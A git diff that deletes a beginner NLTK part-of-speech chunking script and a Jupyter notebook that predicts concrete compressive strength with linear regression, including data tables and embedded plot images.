181fde61bab..00000000000 --- a/Add Code Here/IPYNB/Chunking.ipnyb +++ /dev/null @@ -1,57 +0,0 @@ -# CHUNKNIG: -import nltk -from nltk import word_tokenize -# nltk.download('punkt') -# nltk.download('averaged_perceptron_tagger') -# nltk.download('tagsets') -# nltk.help.upenn_tagset() -s1 = "We saw the yellow dog" -s2 = "We like Chineese Food" -#s3 = "We eat Sushi" -s = input("Enter the input Sentence: ") -sentence = word_tokenize(s) -tagged = nltk.pos_tag(sentence) -tagged - -#print("before:",tagged[0][1]+ " "+ tagged[1][1]+" " + tagged[2][1]+ " " + tagged[3][1]+" " + tagged[4][1]) - -pos_list = [] -for i in range(len(tagged)): - pos_list.append(tagged[i][1]) -print("POS List:",pos_list) - -for i in range(len(pos_list)): - # flag = 1; - if pos_list[i] == "PRP": - # print(flag) - pos_list[i] = "NP" - print("1",pos_list) - elif pos_list[i] == "VBD" or pos_list[i] == "VBP": - pos_list[i] = "VP" - print("2",pos_list) - elif pos_list[i] == "JJ": - pos_list[i] == "NP" - break - elif pos_list[i] == "JJ" and pos_list[i+1] == "NNP": - pos_list.remove(pos_list[i+1]) - pos_list[i] = "NP" - print("3",pos_list) - break - elif pos_list[i] == "DT" and pos_list[i+1] == "JJ" and pos_list[i+2] == "NN": - pos_list.remove(pos_list[i+2]) - pos_list.remove(pos_list[i+1]) - pos_list[i] = "NP" - print("4",pos_list) - break -print("final without S:",pos_list) - -for i in range(len(pos_list)): - if pos_list[i] == "NP" and pos_list[i+1] == "VP" and pos_list[i+2] == "NP": - pos_list.remove(pos_list[i+2]) - pos_list.remove(pos_list[i+1]) - pos_list[i] = "S" - print("Chunknig Output: ",pos_list) - break - -print("final with S:",pos_list) - diff --git a/Add Code Here/IPYNB/Concrete Strength Prediction.ipynb b/Add Code Here/IPYNB/Concrete Strength Prediction.ipynb deleted file mode 100644 index debe6a2d460..00000000000 --- a/Add Code Here/IPYNB/Concrete Strength Prediction.ipynb +++ /dev/null @@ -1,1236 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "# CONCRETE STRENGTH PREDICTION" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Importing Libraries" - ] - }, - { - "cell_type": "code", - "execution_count": 1, - "metadata": {}, - "outputs": [], - "source": [ - "import pandas as pd\n", - "import numpy as np\n", - "import seaborn as sb\n", - "from statsmodels.stats.outliers_influence import variance_inflation_factor\n", - "import matplotlib.pyplot as plt\n", - "from sklearn.model_selection import train_test_split\n", - "from sklearn.linear_model import LinearRegression\n", - "from sklearn.metrics import r2_score\n", - "from sklearn.metrics import mean_squared_error" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Getting our Data" - ] - }, - { - "cell_type": "code", - "execution_count": 2, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
\n", - "\n", - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
CementBlast Furnace SlagFly AshWaterSuperplasticizerCoarse AggregateFine AggregateAgeStrength
0540.00.00.0162.02.51040.0676.02879.99
1540.00.00.0162.02.51055.0676.02861.89
2332.5142.50.0228.00.0932.0594.027040.27
3332.5142.50.0228.00.0932.0594.036541.05
4198.6132.40.0192.00.0978.4825.536044.30
..............................
1025276.4116.090.3179.68.9870.1768.32844.28
1026322.20.0115.6196.010.4817.9813.42831.18
1027148.5139.4108.6192.76.1892.4780.02823.70
1028159.1186.70.0175.611.3989.6788.92832.77
1029260.9100.578.3200.68.6864.5761.52832.40
\n", - "

1030 rows × 9 columns

\n", - "
" - ], - "text/plain": [ - " Cement Blast Furnace Slag Fly Ash Water Superplasticizer \\\n", - "0 540.0 0.0 0.0 162.0 2.5 \n", - "1 540.0 0.0 0.0 162.0 2.5 \n", - "2 332.5 142.5 0.0 228.0 0.0 \n", - "3 332.5 142.5 0.0 228.0 0.0 \n", - "4 198.6 132.4 0.0 192.0 0.0 \n", - "... ... ... ... ... ... \n", - "1025 276.4 116.0 90.3 179.6 8.9 \n", - "1026 322.2 0.0 115.6 196.0 10.4 \n", - "1027 148.5 139.4 108.6 192.7 6.1 \n", - "1028 159.1 186.7 0.0 175.6 11.3 \n", - "1029 260.9 100.5 78.3 200.6 8.6 \n", - "\n", - " Coarse Aggregate Fine Aggregate Age Strength \n", - "0 1040.0 676.0 28 79.99 \n", - "1 1055.0 676.0 28 61.89 \n", - "2 932.0 594.0 270 40.27 \n", - "3 932.0 594.0 365 41.05 \n", - "4 978.4 825.5 360 44.30 \n", - "... ... ... ... ... \n", - "1025 870.1 768.3 28 44.28 \n", - "1026 817.9 813.4 28 31.18 \n", - "1027 892.4 780.0 28 23.70 \n", - "1028 989.6 788.9 28 32.77 \n", - "1029 864.5 761.5 28 32.40 \n", - "\n", - "[1030 rows x 9 columns]" - ] - }, - "execution_count": 2, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "df = pd.read_csv(r'C:\\Users\\DELL\\Desktop\\Kaggle+HE\\Github GSSoC21\\Concrete Strength Prediction TBD\\Dataset\\concrete_data.csv')\n", - "df" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Data Preprocessing" - ] - }, - { - "cell_type": "code", - "execution_count": 3, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "Cement False\n", - "Blast Furnace Slag False\n", - "Fly Ash False\n", - "Water False\n", - "Superplasticizer False\n", - "Coarse Aggregate False\n", - "Fine Aggregate False\n", - "Age False\n", - "Strength False\n", - "dtype: bool" - ] - }, - "execution_count": 3, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "# checking for null values\n", - "df.isnull().any()" - ] - }, - { - "cell_type": "code", - "execution_count": 4, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
\n", - "\n", - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
VIFFeatures
015.456717Cement
13.329127Blast Furnace Slag
24.147833Fly Ash
382.157569Water
45.471094Superplasticizer
584.955779Coarse Aggregate
672.790995Fine Aggregate
71.699459Age
\n", - "
" - ], - "text/plain": [ - " VIF Features\n", - "0 15.456717 Cement\n", - "1 3.329127 Blast Furnace Slag\n", - "2 4.147833 Fly Ash\n", - "3 82.157569 Water\n", - "4 5.471094 Superplasticizer\n", - "5 84.955779 Coarse Aggregate\n", - "6 72.790995 Fine Aggregate\n", - "7 1.699459 Age" - ] - }, - "execution_count": 4, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "# checking vif\n", - "variables = df[['Cement','Blast Furnace Slag','Fly Ash','Water','Superplasticizer','Coarse Aggregate','Fine Aggregate','Age']]\n", - "vif = pd.DataFrame()\n", - "vif['VIF'] = [variance_inflation_factor(variables.values, i) for i in range(variables.shape[1])]\n", - "vif['Features'] = variables.columns\n", - "\n", - "vif" - ] - }, - { - "cell_type": "code", - "execution_count": 5, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
\n", - "\n", - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
Blast Furnace SlagFly AshSuperplasticizerAgeStrength
00.00.02.52879.99
10.00.02.52861.89
2142.50.00.027040.27
3142.50.00.036541.05
4132.40.00.036044.30
..................
1025116.090.38.92844.28
10260.0115.610.42831.18
1027139.4108.66.12823.70
1028186.70.011.32832.77
1029100.578.38.62832.40
\n", - "

1030 rows × 5 columns

\n", - "
" - ], - "text/plain": [ - " Blast Furnace Slag Fly Ash Superplasticizer Age Strength\n", - "0 0.0 0.0 2.5 28 79.99\n", - "1 0.0 0.0 2.5 28 61.89\n", - "2 142.5 0.0 0.0 270 40.27\n", - "3 142.5 0.0 0.0 365 41.05\n", - "4 132.4 0.0 0.0 360 44.30\n", - "... ... ... ... ... ...\n", - "1025 116.0 90.3 8.9 28 44.28\n", - "1026 0.0 115.6 10.4 28 31.18\n", - "1027 139.4 108.6 6.1 28 23.70\n", - "1028 186.7 0.0 11.3 28 32.77\n", - "1029 100.5 78.3 8.6 28 32.40\n", - "\n", - "[1030 rows x 5 columns]" - ] - }, - "execution_count": 5, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "# now, we'll drop columns which have vif>10\n", - "df = df.drop(['Cement','Water','Coarse Aggregate','Fine Aggregate'], axis=1)\n", - "df" - ] - }, - { - "cell_type": "code", - "execution_count": 6, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 6, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": "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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "# checking for outliners\n", - "sb.boxplot(x=df['Blast Furnace Slag'])" - ] - }, - { - "cell_type": "code", - "execution_count": 7, - "metadata": {}, - "outputs": [], - "source": [ - "# removing outliners\n", - "outliers_removed = [x for x in df['Blast Furnace Slag'] if x >= 300 and x <= 400]\n", - "for i in df['Blast Furnace Slag']:\n", - " if i in set(outliers_removed):\n", - " df['Blast Furnace Slag'] = df['Blast Furnace Slag'].replace(i,df['Blast Furnace Slag'].mean())" - ] - }, - { - "cell_type": "code", - "execution_count": 8, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 8, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": "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